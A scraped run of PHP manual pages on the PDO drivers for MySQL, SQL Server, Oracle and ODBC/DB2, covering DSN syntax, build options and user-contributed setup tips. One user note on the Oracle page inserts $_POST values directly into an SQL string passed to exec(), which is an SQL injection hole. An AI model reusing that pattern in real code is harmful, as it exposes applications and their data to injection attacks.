It will not work when passed into PDO::prepare()

- Davey
dibakar at talash dot net 11-Sep-2006 11:31
PDO is much better option for calling procedures, views or triggers of mysql 5.x versions from PHP instead of using mysqli extension. Following is a simple demo script which can  help anybody on how to call and use mysql procedures through php

try {
        $dbh = new PDO('mysql:host=xxx;port=xxx;dbname=xxx', 'xxx', 'xxx', array( PDO::ATTR_PERSISTENT => false));

        $stmt = $dbh->prepare("CALL getname()");

        // call the stored procedure
        $stmt->execute();

        echo "<B>outputting...</B><BR>";
        while ($rs = $stmt->fetch(PDO::FETCH_OBJ)) {
            echo "output: ".$rs->name."<BR>";
        }
        echo "<BR><B>".date("r")."</B>";

    } catch (PDOException $e) {
        print "Error!: " . $e->getMessage() . "<br/>";
        die();
    }
PDO_INFORMIX DSN
PDO_MYSQL DSN
PDO Drivers


Connecting to MySQL databases

MySQL (PDO)
MS SQL Server (PDO)
MySQL (PDO)
PHP Manual

PDO_MYSQL DSN

(PECL PDO_MYSQL >= 0.1.0)

PDO_MYSQL DSN — Connecting to MySQL databases

Description

The PDO_MYSQL Data Source Name (DSN) is composed of the following elements:

DSN prefix

The DSN prefix is mysql:.

host

The hostname on which the database server resides.

port

The port number where the database server is listening.

dbname

The name of the database.

unix_socket

The MySQL Unix socket (shouldn't be used with host or port).

charset

The character set.

Prior to PHP 5.3.6, this element was silently ignored. The same behaviour can be partly replicated with the PDO::MYSQL_ATTR_INIT_COMMAND driver option, as the following example shows.

Warning

The method in the below example can only be used with character sets that share the same lower 7 bit representation as ASCII, such as ISO-8859-1 and UTF-8. Users using character sets that have different representations (such as UTF-16 or Big5) must use the charset option provided in PHP 5.3.6 and later versions.

Example #1 Setting the connection character set to UTF-8 prior to PHP 5.3.6

<?php
$dsn = 'mysql:host=localhost;dbname=testdb';
$username = 'username';
$password = 'password';
$options = array(
    PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES utf8',
);

$dbh = new PDO($dsn, $username, $password, $options);
?>

Changelog

Version | Description
5.3.6 | Prior to version 5.3.6, charset was ignored.

Examples

Example #2 PDO_MYSQL DSN examples

The following example shows a PDO_MYSQL DSN for connecting to MySQL databases:

mysql:host=localhost;dbname=testdb
More complete examples:
mysql:host=localhost;port=3307;dbname=testdb
mysql:unix_socket=/tmp/mysql.sock;dbname=testdb

Notes

Note: Unix only:

When the host name is set to "localhost", then the connection to the server is made thru a domain socket. If PDO_MYSQL is compiled against libmysql then the location of the socket file is at libmysql's compiled in location. If PDO_MYSQL is compiled against mysqlnd a default socket can be set thru the pdo_mysql.default_socket setting.

User Contributed Notes

damien at mc-kenna dot com 12-Jan-2012 07:58
It appears that internally the host string infers a default of "localhost", e.g. this appears to work as a valid $dsn: mysql:host=;port=3306
rustamabd at gmail dot com 15-Mar-2009 12:18
Even though pdo_mysql accepts an additional "charset" parameter in the DSN (see mysql_driver.c:442), as of PHP 5.2.9 it does not do anything with it.

A possible workaround to set the charset to UTF-8, for example, could be:
<?php

    $dbh = new PDO("mysql:$connstr",  $user, $password);

    $dbh -> exec("set names utf8");

?>
codeslinger at compsalot dot com 11-Mar-2009 07:07
Here is a function that provides a generic interface to connect
 to a mySQL PDO.  This takes care of the default values automatically
and deals with the difference between a host name and a socket path.

The advantage of using LOCALHOST for the default is that you don't have
 to worry about IPv4 vs IPv6.  But keep in mind that mySQL login security
does not treat the name as being interchangeable with the ip address.
You could of course change the default to use a socket path instead.

Enjoy!
Codeslinger

P.S. This form forces you to limit the length of your lines, so I had to
split a couple of things.

<?php

//pppppppppppppppppppppppppppppppppppppppppppppppppppppppppppp
//
//  Creates a new mySQL database connection
//
//  Returns a PDO object or an error message
//  Use: is_object()  to verify the result
//
//
//  If $DBHost starts with a '/' then it is treated as a Socket
//
//  if $DBHost is empty it will default to LOCALHOST which is NOT the
//  same as 127.0.0.1
//
//  $DBPort is optional and will use the standard mySQL default if not
//  specified
//
//  The database name ($DBName) is optional, but if it is specified
//  it must exist or an error results
//
//  2009-03-11  Created: by codeslinger at compsalot.com
//
//          Released to the Public Domain free to use and modify
//
//
function dbPDO_Connect_mySQL($DBUser, $DBPass, $DBName = false,
                            $DBHost = false, $DBPort = false)
{

    $DBNameEq = empty($DBName) ? '' : ";dbname=$DBName";

    if (empty($DBHost)) $DBHost = 'localhost';

    If ($DBHost[0] === '/')
    {
        $Connection = "unix_socket=$DBHost";
    }
    else
    {
        if (empty($DBPort)) $DBPort = 3306;
        $Connection = "host=$DBHost;port=$DBPort";
    }

    //======================

    try
    {
        $dbh     = new PDO("mysql:$Connection$DBNameEq"
                                  ,  $DBUser, $DBPass);
    }
    catch (PDOException $e)
    {
        return $e->getMessage();
    }

    return $dbh;
}

//================================
//================================
//
//Example of use:

  //connects to the default (localhost)

  $dbh = dbPDO_Connect_mySQL('user', 'password', 'database');

  //............................................................
  //error handler goes here

  if (!is_object($dbh)) trigger_error("Failed to connect to 'database' "
       ." | Error = $dbh", E_USER_ERROR);

  //............................................................
  //get a record

  $sql = "select * from SomeTable limit 1;";

  $dbRS = $dbh->query($sql);
  $row = empty($dbRS) ? false : $dbRS->fetch(PDO::FETCH_ASSOC);
  if (!empty($dbRS)) $dbRS->closeCursor();

  //............................................................
  //do something with the data

  if (!empty($row)) print_r($row);
  else echo "Error? no data found\n";

?>
codeslinger at compsalot dot com 11-Mar-2009 03:00
I have tested this and found that the "dbname" field is optional.  Which is a good thing if you must first create the db.

After creating a db be sure to exec a "use dbname;"  command, or else use fully specified table references.
MySQL (PDO)
MS SQL Server (PDO)
MySQL (PDO)


Microsoft SQL Server Functions (PDO_SQLSRV)

Introduction

PDO_SQLSRV is a driver that implements the PHP Data Objects (PDO) interface to enable access from PHP to MS SQL Server (starting with SQL Server 2005) and SQL Azure databases.

Installation

The PDO_SQLSRV extension is enabled by adding appropriate DLL file to your PHP extension directory and the corresponding entry to the php.ini file. The PDO_SQLSRV download comes with several driver files. Which driver file you use will depend on 3 factors: the PHP version you are using, whether you are using thread-safe or non-thread-safe PHP, and whether your PHP installation was compiled with the VC6 or VC9 compiler. For example, if you are running PHP 5.3, you are using non-thread-safe PHP, and your PHP installation was compiled with the VC9 compiler, you should use the php_pdo_sqlsrv_53_nts_vc9.dll file. (You should use a non-thread-safe version compiled with the VC9 compiler if you are using IIS as your web server). If you are running PHP 5.2, you are using thread-safe PHP, and your PHP installation was compiled with the VC6 compiler, you should use the php_pdo_sqlsrv_52_ts_vc6.dll file.

For more information about system requirements, see » SQLSRV System Requirements.

The PDO_SQLSRV extension is only compatible with PHP running on Windows. For Linux, see ODBC and » Microsoft's SQL Server ODBC Driver for Linux.

Predefined Constants

The constants below are defined by this driver, and will only be available when the extension has been either compiled into PHP or dynamically loaded at runtime. In addition, these driver-specific constants should only be used if you are using this driver. Using driver-specific attributes with another driver may result in unexpected behaviour. PDO::getAttribute() may be used to obtain the PDO_ATTR_DRIVER_NAME attribute to check the driver, if your code can run against multiple drivers.

PDO::SQLSRV_TXN_READ_UNCOMMITTED (integer)
This constant is an acceptable value for the SQLSRV DSN key TransactionIsolation. This constant sets the transaction isolation level for the connection to Read Uncommitted.
PDO::SQLSRV_TXN_READ_COMMITTED (integer)
This constant is an acceptable value for the SQLSRV DSN key TransactionIsolation. This constant sets the transaction isolation level for the connection to Read Committed.
PDO::SQLSRV_TXN_REPEATABLE_READ (integer)
This constant is an acceptable value for the SQLSRV DSN key TransactionIsolation. This constant sets the transaction isolation level for the connection to Repeateable Read.
PDO::SQLSRV_TXN_SNAPSHOT (integer)
This constant is an acceptable value for the SQLSRV DSN key TransactionIsolation. This constant sets the transaction isolation level for the connection to Snapshot.
PDO::SQLSRV_TXN_SERIALIZABLE (integer)
This constant is an acceptable value for the SQLSRV DSN key TransactionIsolation. This constant sets the transaction isolation level for the connection to Serializable.
PDO::SQLSRV_ENCODING_BINARY (integer)
Specifies that data is sent/retrieved as a raw byte stream to/from the server without performing encoding or translation. This constant can be passed to PDOStatement::setAttribute, PDO::prepare, PDOStatement::bindColumn, and PDOStatement::bindParam.
PDO::SQLSRV_ENCODING_SYSTEM (integer)
Specifies that data is sent/retrieved to/from the server as 8-bit characters as specified in the code page of the Windows locale that is set on the system. Any multi-byte characters or characters that do not map into this code page are substituted with a single byte question mark (?) character. This constant can be passed to PDOStatement::setAttribute, PDO::setAttribute, PDO::prepare, PDOStatement::bindColumn, and PDOStatement::bindParam.
PDO::SQLSRV_ENCODING_UTF8 (integer)
Specifies that data is sent/retrieved to/from the server in UTF-8 encoding. This is the default encoding. This constant can be passed to PDOStatement::setAttribute, PDO::setAttribute, PDO::prepare, PDOStatement::bindColumn, and PDOStatement::bindParam.
PDO::SQLSRV_ENCODING_DEFAULT (integer)
Specifies that data is sent/retrieved to/from the server according to PDO::SQLSRV_ENCODING_SYSTEM if specified during connection. The connection's encoding is used if specified in a prepare statement. This constant can be passed to PDOStatement::setAttribute, PDO::setAttribute, PDO::prepare, PDOStatement::bindColumn, and PDOStatement::bindParam.
PDO::SQLSRV_ATTR_QUERY_TIMEOUT (integer)
A non-negative integer representing the timeout period, in seconds. Zero (0) is the default and means no timeout. This constant can be passed to PDOStatement::setAttribute, PDO::setAttribute, and PDO::prepare.
PDO::SQLSRV_ATTR_DIRECT_QUERY (integer)
Indicates that a query should be executed directly, without being prepared. This constant can be passed to PDO::setAttribute, and PDO::prepare. For more information, see » Direct and Prepared Statement Execution.

Table of Contents

  • PDO_SQLSRV DSN — Connecting to MS SQL Server and SQL Azure databases

User Contributed Notes

There are no user contributed notes for this page.
PDO_MYSQL DSN
PDO_SQLSRV DSN
PDO Drivers


Connecting to MS SQL Server and SQL Azure databases

MS SQL Server (PDO)
Oracle (PDO)
MS SQL Server (PDO)
PHP Manual

PDO_SQLSRV DSN

(No version information available, might only be in SVN)

PDO_SQLSRV DSN — Connecting to MS SQL Server and SQL Azure databases

Description

The PDO_SQLSRV Data Source Name (DSN) is composed of the following elements:

DSN prefix

The DSN prefix is sqlsrv:.

APP

The application name used in tracing.

ConnectionPooling

Specifies whether the connection is assigned from a connection pool (1 or TRUE) or not (0 or FALSE).

Database

The name of the database.

Encrypt

Specifies whether the communication with SQL Server is encrypted (1 or TRUE) or unencrypted (0 or FALSE).

Failover_Partner

Specifies the server and instance of the database's mirror (if enabled and configured) to use when the primary server is unavailable.

LoginTimeout

Specifies the number of seconds to wait before failing the connection attempt.

MultipleActiveResultSets

Disables or explicitly enables support for multiple active Result sets (MARS).

QuotedId

Specifies whether to use SQL-92 rules for quoted identifiers (1 or TRUE) or to use legacy Transact-SQL rules (0 or false).

Server

The name of the database server.

TraceFile

Specifies the path for the file used for trace data.

TraceOn

Specifies whether ODBC tracing is enabled (1 or TRUE) or disabled (0 or FALSE) for the connection being established.

TransactionIsolation

Specifies the transaction isolation level. The accepted values for this
option are PDO::SQLSRV_TXN_READ_UNCOMMITTED, PDO::SQLSRV_TXN_READ_COMMITTED,
PDO::SQLSRV_TXN_REPEATABLE_READ, PDO::SQLSRV_TXN_SNAPSHOT, and
PDO::SQLSRV_TXN_SERIALIZABLE.

TrustServerCertificate

Specifies whether the client should trust (1 or TRUE) or reject (0 or FALSE) a self-signed server certificate.

WSID

Specifies the name of the computer for tracing.

Examples

Example #1 PDO_SQLSRV DSN examples

The following example shows how to connecto to a specified MS SQL Server database:

$c = new PDO("sqlsrv:Server=localhost;Database=testdb", "UserName", "Password");

The following example shows how to connect to a MS SQL Server database on a specified port:

$c = new PDO("sqlsrv:Server=localhost,1521;Database=testdb", "UserName", "Password");

The following example shows how to connecto to a SQL Azure database with server ID 12345abcde. Note that when you connect to SQL Azure with PDO, your username will be UserName@12345abcde (UserName@ServerId).

$c = new PDO("sqlsrv:Server=12345abcde.database.windows.net;Database=testdb", "UserName@12345abcde", "Password");

User Contributed Notes

There are no user contributed notes for this page.
MS SQL Server (PDO)
Oracle (PDO)
MS SQL Server (PDO)


Oracle Functions (PDO_OCI)

Introduction

Warning

This extension is EXPERIMENTAL. The behaviour of this extension including the names of its functions and any other documentation surrounding this extension may change without notice in a future release of PHP. This extension should be used at your own risk.

PDO_OCI is a driver that implements the PHP Data Objects (PDO) interface to enable access from PHP to Oracle databases through the OCI library.

Installation

Use --with-pdo-oci[=DIR] to install the PDO Oracle OCI extension, where the optional [=DIR] is the Oracle Home directory. [=DIR] defaults to the $ORACLE_HOME environment variable.

Use --with-pdo-oci=instantclient,prefix,version for an Oracle Instant Client SDK, where prefix and version are configured.

// Using $ORACLE_HOME
$ ./configure --with-pdo-oci

// Using OIC for Linux with 10.2.0.3 RPMs with a /usr prefix
$ ./configure --with-pdo-oci=instantclient,/usr,10.2.0.3

Table of Contents

  • PDO_OCI DSN — Connecting to Oracle databases

User Contributed Notes

php at ideacode dot com 13-Oct-2011 07:28
If you're getting the "I'm too dumb to find oci.h" error, try creating a variety of paths.  One variety uses just the major and minor of your OIC version (eg, 11.2 for 11.2.0.2) and another variety uses client64 as well as client.

Something like this (for 11.2.0.2):
ln -s /usr/include/oracle/11.2.0.2/ /usr/include/oracle/11.2
ln -s /usr/include/oracle/11.2/client /usr/include/oracle/11.2/client64
ln -s /usr/lib/oracle/11.2.0.2/ /usr/lib/oracle/11.2
ln -s /usr/lib/oracle/11.2/client /usr/lib/oracle/11.2/client64

This should cover your bases for 64-bit systems, as well as PHP patched to use the major.minor version number only.  See also PHP bug #44989.
redlorry919 at gmail dot com 10-Jun-2011 03:15
Take note of the note at the top, this really is an experimental extension. I had a problem trying to read data from Oracle which resulted in some strange behaviour in PHP. i.e. foreach loops not ending, with no error messages. I also managed to get the data from Oracle into an array in PHP, but then couldn't return the array from a function.

After pulling my hair out for a day, it turned out to be a CLOB column in Oracle that caused the strange behaviour in PHP. I assume this extension doesn't fully support them.

Instead I've typecast it within the SQL to a VARCHAR2 which seems to resolve it:

SELECT CAST(columnx AS VARCHAR2(4000)) AS columnx ...

It might help someone else having similar issues.
geompse at gmail dot com 27-Jun-2010 09:49
Notice the red block at the beginning of this page... pdo_oci is HIGHLY experimental.

Even though it is under dev from 2004, it lakes today support for things that _do_ matters :
 - bind a varchar2 of 3500 chars
 - get selected metas
 - left join with blobs/clobs
 - etc.

For the story, since we use pdo_pgsql in our software, I thought it would be viable to use pdo_oci for running under Oracle. After a long battle, I finally won :

1) If requested driver has a non-experimental pdo version available, use it.
2) else (well, for pdo_oci at least), use an abstraction layer of your own.
3) you're done.

What I did in more details...

2 "main" classes for being compliant with "$obj instanceof PDO" or such :
 - class PhpDb extends PDO
 - class PhpDbStatement extends PDOStatement
2 "abstract" classes that defines what PDO actually does :
 - abstract class PhpDbAbstract
 - abstract class PhpDbAbstractStatement
And at last for each driver, 2 classes doing the abstraction :
 - class PhpDbDriverOracle extends PhpDbAbstract
 - class PhpDbDriverOracleStatement extends PhpDbAbstractStatement

"main" classes are accessed from your script, simply replace "new PDO" with "new PhpDb".
"abstract" classes are mainly there for the documentation :p
"driver" classes do the job in background, they are instances by the main classes.

My PhpDb will be in an open source project sooner or later, search google or mail me !
av01 at bugfix dot cc 03-Apr-2010 08:57
In order to get this compiled on my CentOS 5.4 x86_64 box, I had to do some extra settings that might be useful for others:

Install oracle-instantclient11.2-basic and oracle-instantclient11.2-devel RPMs from Oracle

Create some symbolic links because configure contains some outdated assumptions about path names and doesn't care about 64-bit systems:
ln -s /usr/lib/oracle/11.2/client64 /usr/lib/oracle/11.2/client
ln -s /usr/include/oracle/11.2/client64  /usr/lib/oracle/11.2/client/include

Add the following to your configure command:
--with-pdo-oci=shared,instantclient,/usr,11.2
sixd at php dot net 26-Jun-2009 11:53
From the PHP 5.3 UPGRADING file:

- The PDO_OCI php_pdo_oci8.dll library (for use with Oracle version 8 client
  libraries) is no longer being built [with PHP 5.3]. Instead, use php_pdo_oci.dll (note no
  '8') with Oracle 10 or 11 client libraries. Connection to other database
  versions is still supported.
fernando dot wendt at gmail dot com 20-Jan-2009 05:18
To enable PDO support on PHP for Oracle Instant Client 11.1.x, you should follow the syntax above in the compile command, just as pointed by Andrew http://bugs.php.net/bug.php?id=39312, taking by default you have installed the OIC at /usr/lib/oracle (instant client and sdk at subfolder):

./configure --with-oci8=shared,instantclient,/usr/lib/oracle
--with-pdo-oci=instantclient,/usr/lib/oracle,11.1

Just saying your release version from the Oracle OIC.

It compiles fine then.

Best regards.
ken at xpressconnex dot com 05-Feb-2008 08:17
Wow, cursade.  That's a lot of typing to use the lite client.

Try this:

$db = '//hostname/servicename'; //e.g. '//192.168.1.1/orcl'
$user = 'username';
$pass = 'password';

$conn = new PDO($db,$user,$pass);
moc.aciremi@yvelj 01-Jun-2006 12:25
A Statement of Warning:

PDO::oci does not support REF CURSORS.

This is mentioned nowhere (until now!) on this page.

And now you know!

If you want ref cursors avoid PDO for now.

My Reference for this claim:
http://www.oracle.com/technology/pub/articles/
php_experts/otn_pdo_oracle5.html

GREAT article, excellent piece, really. It's not clear to me
how old this document is, but it must have some dust on it,
given it's references to "PHP5.1 ...' which is a little way off yet' "
... as of 2006-06-01, PHP5.1 has been with us for quite some time.
cursade at hotmail dot com 20-Apr-2006 11:29
if oracle and oracle instant client has been installed,
without db in the same host

For UNIX/LINUX，set $LD_LIBRARY_PATH
appent your instant client path  and  client/lib path to it,

For windows set PATH like this

After set the path ,set TNS_ADMIN everioment ,point to
where  tnsnames.ora located.

Then,you can use service name to connect to your Database

Test coding

<?php
$param = $_POST;
$db_username = "youusername";
$db_password = "yourpassword";
$db = "oci:dbname=yoursid";
$conn = new PDO($db,$db_username,$db_password);
$name = $param['module'];
$file = $param['file'];
$stmt = $conn->exec("INSERT INTO AL_MODULE (AL_MODULENAME, AL_MODULEFILE) VALUES ('$name', '$file')");

?>
cursade at hotmail dot com 20-Apr-2006 02:43
If instant client has been installed but the full oracle client
not yet ,you can use pdo to connect to oracle database
like following coding:

<?php
$tns = "
(DESCRIPTION =
    (ADDRESS_LIST =
      (ADDRESS = (PROTOCOL = TCP)(HOST = yourip)(PORT = 1521))
    )
    (CONNECT_DATA =
      (SERVICE_NAME = orcl)
    )
  )
       ";
$db_username = "youname";
$db_password = "yourpassword";
try{
    $conn = new PDO("oci:dbname=".$tns,$db_username,$db_password);
}catch(PDOException $e){
    echo ($e->getMessage());
}
?>
PDO_SQLSRV DSN
PDO_OCI DSN
PDO Drivers


Connecting to Oracle databases

Oracle (PDO)
ODBC and DB2 (PDO)
Oracle (PDO)
PHP Manual

PDO_OCI DSN

(PECL PDO_OCI >= 0.1.0)

PDO_OCI DSN — Connecting to Oracle databases

Description

The PDO_OCI Data Source Name (DSN) is composed of the following elements:

DSN prefix

The DSN prefix is oci:.

dbname (Oracle Instant Client)

The URI for the Oracle Instant Client connection takes the form of dbname=//hostname:port-number/database. If you are connecting to a database defined in tnsnames.ora, use only the name of the database: dbname=database.

charset

The client-side character set for the current environment handle.

Examples

Example #1 PDO_OCI DSN examples

The following examples show a PDO_OCI DSN for connecting to Oracle databases:

// Connect to a database defined in tnsnames.ora
oci:dbname=mydb

// Connect using the Oracle Instant Client
oci:dbname=//localhost:1521/mydb

User Contributed Notes

Alexander Ashurkoff 26-Feb-2007 02:20
If you want to use PDO_OCI and get proper russian windows-1251 codepage, just add charset=CL8MSWIN1251 to your DSN.

example:
<?php
$dbc = new PDO('oci:dbname=192.168.10.145/orcl;charset=CL8MSWIN1251', 'username', 'password');
?>

Аlso setting apache/registry/system environment variable NLS_LANG to RUSSIAN_CIS.CL8MSWIN1251 may helps you.
Helpful User 11-Oct-2006 05:59
If you get the error: TNS: could not resolve service name

Remember that the PDO wants to use the default client, which will only use the tnsnames.ora in %ORACLE_HOME%\network\admin. Check that file and make sure your service is defined in there.

BTW, there is a bug with pdo_oci8 with 9i - don't use it. Make sure you just use pdo_oci.dll.
Oracle (PDO)
ODBC and DB2 (PDO)
Oracle (PDO)


ODBC and DB2 Functions (PDO_ODBC)

Introduction

PDO_ODBC is a driver that implements the PHP Data Objects (PDO) interface to enable access from PHP to databases through ODBC drivers or through the IBM DB2 Call Level Interface (DB2 CLI) library. PDO_ODBC currently supports three different "flavours" of database drivers:

ibm-db2

Supports access to IBM DB2 Universal Database, Cloudscape, and Apache Derby servers through the free DB2 client.

unixODBC

Supports access to database servers through the unixODBC driver manager and the database's own ODBC drivers.

generic

Offers a compile option for ODBC driver managers that are not explicitly supported by PDO_ODBC.

On Windows, PDO_ODBC is built into the PHP core by default. It is linked against the Windows ODBC Driver Manager so that PHP can connect to any database cataloged as a System DSN, and is the recommended driver for connecting to Microsoft SQL Server databases.

Installation

PDO_ODBC on UNIX systems

  1. As of PHP 5.1, PDO_ODBC is included in the PHP source. You can compile the PDO_ODBC extension as either a static or shared module using the following configure commands.

    ibm_db2

    ./configure --with-pdo-odbc=ibm-db2,/opt/IBM/db2/V8.1/
    To build PDO_ODBC with the ibm-db2 flavour, you have to have previously installed the DB2 application development headers on the same machine on which you are compiling PDO_ODBC. The DB2 application development headers are an installable option in the DB2 servers, and are also available as part of the DB2 Application Development Client freely available for download from the IBM DB2 Universal Database » support site.

    If you do not supply a location for the DB2 libraries and headers to the configure command, PDO_ODBC defaults to /home/db2inst1/sqllib.

    unixODBC

    ./configure --with-pdo-odbc=unixODBC,/usr/local
    If you do not supply a location for the unixODBC libraries and headers to the configure command, PDO_ODBC defaults to /usr/local.

    generic
    ./configure --with-pdo-odbc=generic,/usr/local,libname,ldflags,cflags

Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

PDO_ODBC Configuration Options
Name | Default | Changeable | Changelog
pdo_odbc.connection_pooling | "strict" | PHP_INI_ALL | Available since PHP 5.1.0.
pdo_odbc.db2_instance_name | NULL | PHP_INI_SYSTEM | Available since PHP 5.1.1. This deprecated feature will certainly be removed in the future.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

pdo_odbc.connection_pooling string

Whether to pool ODBC connections. Can be one of "strict", "relaxed" or "off" (equals to ""). The parameter describes how strict the connection manager should be when matching connection parameters to existing pooled connections. strict is the recommend default, and will result in the use of cached connections only when all the connection parameters match exactly. relaxed will result in the use of cached connections when similar connection parameters are used. This can result in increased use of the cache, at the risk of bleeding connection information between (for example) virtual hosts.

This setting can only be changed from the php.ini file, and affects the entire process; any other modules loaded into the process that use the same ODBC libraries will be affected too, including the Unified ODBC extension.

Warning

relaxed matching should not be used on a shared server, for security reasons.

Tip

Leave this setting at the default strict setting unless you have good reason to change it.

pdo_odbc.db2_instance_name string

If you compile PDO_ODBC using the db2 flavour, this setting sets the value of the DB2INSTANCE environment variable on Linux and UNIX operating systems to the specified name of the DB2 instance. This enables PDO_ODBC to resolve the location of the DB2 libraries and make cataloged connections to DB2 databases.

This setting can only be changed from the php.ini file, and affects the entire process; any other modules loaded into the process that use the same ODBC libraries will be affected too, including the Unified ODBC extension.

This setting has no effect on Windows.

Table of Contents

  • PDO_ODBC DSN — Connecting to ODBC or DB2 databases

User Contributed Notes

Ariz Jacinto 09-Jan-2012 01:50
Using SQL Server Native Client 11.0 on Linux as a PDO_ODBC driver:

Download the SQL Server Native Client 11.0 on Linux ODBC Driver:
http://www.microsoft.com/download/en/details.aspx?id=28160

Configuration ODBC:

/usr/local/etc/odbcsys.ini
--
[SQL Server Native Client 11.0]
Description = Microsoft SQL Server ODBC Driver V1.0 for Linux
Driver = /opt/microsoft/sqlncli/lib64/libsqlncli-11.0.so.1720.0
UsageCount = 1

/usr/local/etc/odbc.ini
--
[MSSQLServer]
Driver = SQL Server Native Client 11.0
Description = Sample Database
Trace = Yes
Server =
Port = 1433
Database =

Test the connection:
mssqltest.php
--
<?php
    putenv('ODBCSYSINI=/usr/local/etc');
    putenv('ODBCINI=/usr/local/etc/odbc.ini');
    $username = "";
    $password = "";
    try {
      $dbh = new PDO("odbc:MSSQLServer",
                    "$username",
                    "$password"
                   );
    } catch (PDOException $exception) {
      echo $exception->getMessage();
      exit;
    }
    echo var_dump($dbh);
    unset($dbh);
?>
harry dot forum at p-boss dot com 02-Jul-2010 04:03
MSSQL - PHP on Apache - Linux Redhat

When using php 5.2.10 please beaware of this error:

http://bugs.php.net/bug.php?id=42068

Standard odbc_connect will not work, you must use pdo_odbc

Connecting to MSSQL using pdo odbc - walkthrough..

1. Download and configure FreeTDS with-unixodbc

./configure --prefix=/opt/SYSfreetds --with-unixodbc

make;make test; make install

2. install php-odbc and unixODBC

         php-odbc-5.2.10-1.x86_64.rpm
         unixODBC.x86_64.x86x64

3. Setup ODBC links

a)
Create a tds.driver file with the following contents

  [FreeTDS]
  Description     = v0.63 with protocol v8.0
  Driver          = /opt/SYSfreetds/lib/libtdsodbc.so

Register the ODBC driver - the tds.driver file

  odbcinst -i -d -f tds.driver

b)
Creating a tds.datasource file - ODBC Data Source with contents:

  [SOURCENAME]
  Driver=FreeTDS
  Description=Test MS SQL Database with FreeTDS
  Trace=No
  Server=BobTheServer
  Port=1433
  TDS Version=8.0
  Database=youDBname

Register the ODBC data source

  odbcinst -i -s -f tds.datasource

Beware that the odbc.ini file will be installed in the current users home directory. This may need to be used if you are using a webserver as the apache home directory could be different.

Ensure .odbc.ini is in apaches home directory, possibly "/var/www"

4. Test the ODBC link on the command line

  isql -v SOURCENAME 'username' 'password'

  +---------------------------------------+
  | Connected!                            |
  |                                       |
  | sql-statement                         |
  | help [tablename]                      |
  | quit                                  |
  |                                       |
  +---------------------------------------+
 SQL>

5. Edit /etc/php.ini

  Make sure the following is set:
     mssql.secure_connection = On

6. Restart apache gracefully

7. PHP to run:

  <?
  $dbh= new PDO('odbc:SOURCENAME', 'username', 'password');
  $stmt = $dbh->prepare("$query");
  $stmt->execute();
  while ($row = $stmt->fetch()) {
      print_r($row);
  }
  unset($dbh); unset($stmt);
  ?>

Trouble-shooting:

Please try strace/ truss if you encounter issues. It could be you are referencing wrong libraries somewhere.

Ensure you have restarted apache once the odbc files are in place
tuomas 21-Sep-2009 12:11
If you want to avoid installing DB2 Connect and/or PECL modules ibm_db2 and PDO_IBM, you can also use IBM DB2 databases trough unixODBC.

If you have DB2 database on a i server you need to install IBM iAccess (http://www.ibm.com/systems/i/software/access/linux/index.html) and unixODBC. Just install the libraries (rpm) and modify configurations in /etc/odbcinst.ini (sample configuration in /opt/ibm/iSeriesAccess/unixodbcregistration) and /etc/odbc.ini.

To my experience this is much easier way than installing DB2 Connect.
ethan dot nelson at ltd dot org 29-Feb-2008 02:15
Using SQL 2005, PDO_ODBC and datetime fields is a royal pain.  MSDN documentation on CAST CONVERT shows that there is supposed to be an implicit convert between character types and datetime types.  That's true... until you put it in a stored procedure and use variable declarations.

For instance this fails:

declare @date varchar;
SET @date = '20080101';
SELECT cast(@date AS datetime) AS poo

While this succeeds:
declare @date varchar(19);
SET @date = '20080101';
SELECT cast(@date AS datetime) AS poo

The PDO Driver appears to attempt an implicit conversion and so it fails whenever you try to insert data into datetime column types.

So to workaround this nuance in SQL, declare a character column type with explicit width.  Then your implicit type conversion will work.
PDO_OCI DSN
PDO_ODBC DSN
PDO Drivers


Connecting to ODBC or DB2 databases

ODBC and DB2 (PDO)
PostgreSQL (PDO)
ODBC and DB2 (PDO)
PHP Manual

PDO_ODBC DSN

(PECL PDO_ODBC >= 0.1.0)

PDO_ODBC DSN — Connecting to ODBC or DB2 databases

Description

The PDO_ODBC Data Source Name (DSN) is composed of the following elements:

DSN prefix

The DSN prefix is odbc:. If you are connecting to a database cataloged in the ODBC driver manager or the DB2 catalog, you can append the cataloged name of the database to the DSN.

DSN

The name of the database as cataloged in the ODBC driver manager or the DB2 catalog. Alternately, you can provide a complete ODBC connection string to connect to a database as described at » http://www.connectionstrings.com/.

UID

The name of the user for the connection. If you specify the user name in the DSN, PDO ignores the value of the user name argument in the PDO constructor.

PWD

The password of the user for the connection. If you specify the password in the DSN, PDO ignores the value of the password argument in the PDO constructor.

Examples

Example #1 PDO_ODBC DSN example (ODBC driver manager)

The following example shows a PDO_ODBC DSN for connecting to an ODBC database cataloged as testdb in the ODBC driver manager:

odbc:testdb

Example #2 PDO_ODBC DSN example (IBM DB2 uncataloged connection)

The following example shows a PDO_ODBC DSN for connecting to an IBM DB2 database named SAMPLE using the full ODBC DSN syntax:

odbc:DRIVER={IBM DB2 ODBC DRIVER};HOSTNAME=localhost;PORT=50000;DATABASE=SAMPLE;PROTOCOL=TCPIP;UID=db2inst1;PWD=ibmdb2;

Example #3 PDO_ODBC DSN example (Microsoft Access uncataloged connection)

The following example shows a PDO_ODBC DSN for connecting to a Microsoft Access database stored at C:\db.mdb using the full ODBC DSN syntax:

odbc:Driver={Microsoft Access Driver (*.mdb)};Dbq=C:\\db.mdb;Uid=Admin

User Contributed Notes

aflorezd[]gmail[]com 23-May-2011 12:55
Another axample odbc dsn  MSSQL 2005

Just an exemple of an odbc connection string to MSSQL 2005 :

<?php
$cnx = new PDO("odbc:Driver={SQL Server};Server=250.156.0.1;Database=myDataBase; Uid=userName;Pwd=thePassword;");
?>
Tom Wardrop 22-Mar-2010 10:20
It's also worth noting that to use the DSN-less connection string as suggested by  "nicolas dot baptiste at gmail dot com", you need the SQL Native Client installed on your windows-based workstation/server. This is available on the Microsoft website under "Feature Pack for SQL Server 2xxx".

Note, you generally will want the latest SQL Native Client available as it SHOULD be compatible with older SQL server versions AND newer SQL server versions.
nicolas dot baptiste at gmail dot com 30-Mar-2009 08:12
Just an exemple of an odbc connection string to MSSQL 2005 :

<?php
$cnx = new PDO("odbc:Driver={SQL Native Client};Server=250.156.0.1;Database=myDataBase; Uid=userName;Pwd=thePassword;");
?>
02-May-2006 07:57
On MS SQL Server there is a convenient way to help troubleshooting database server performance problems is to use the APP attribute, like this:

<?php
$dsn = 'DRIVER=FreeTDS;SERVERNAME=server1;DATABASE=testdb;APP=My PHP Application;UID=user;';
?>

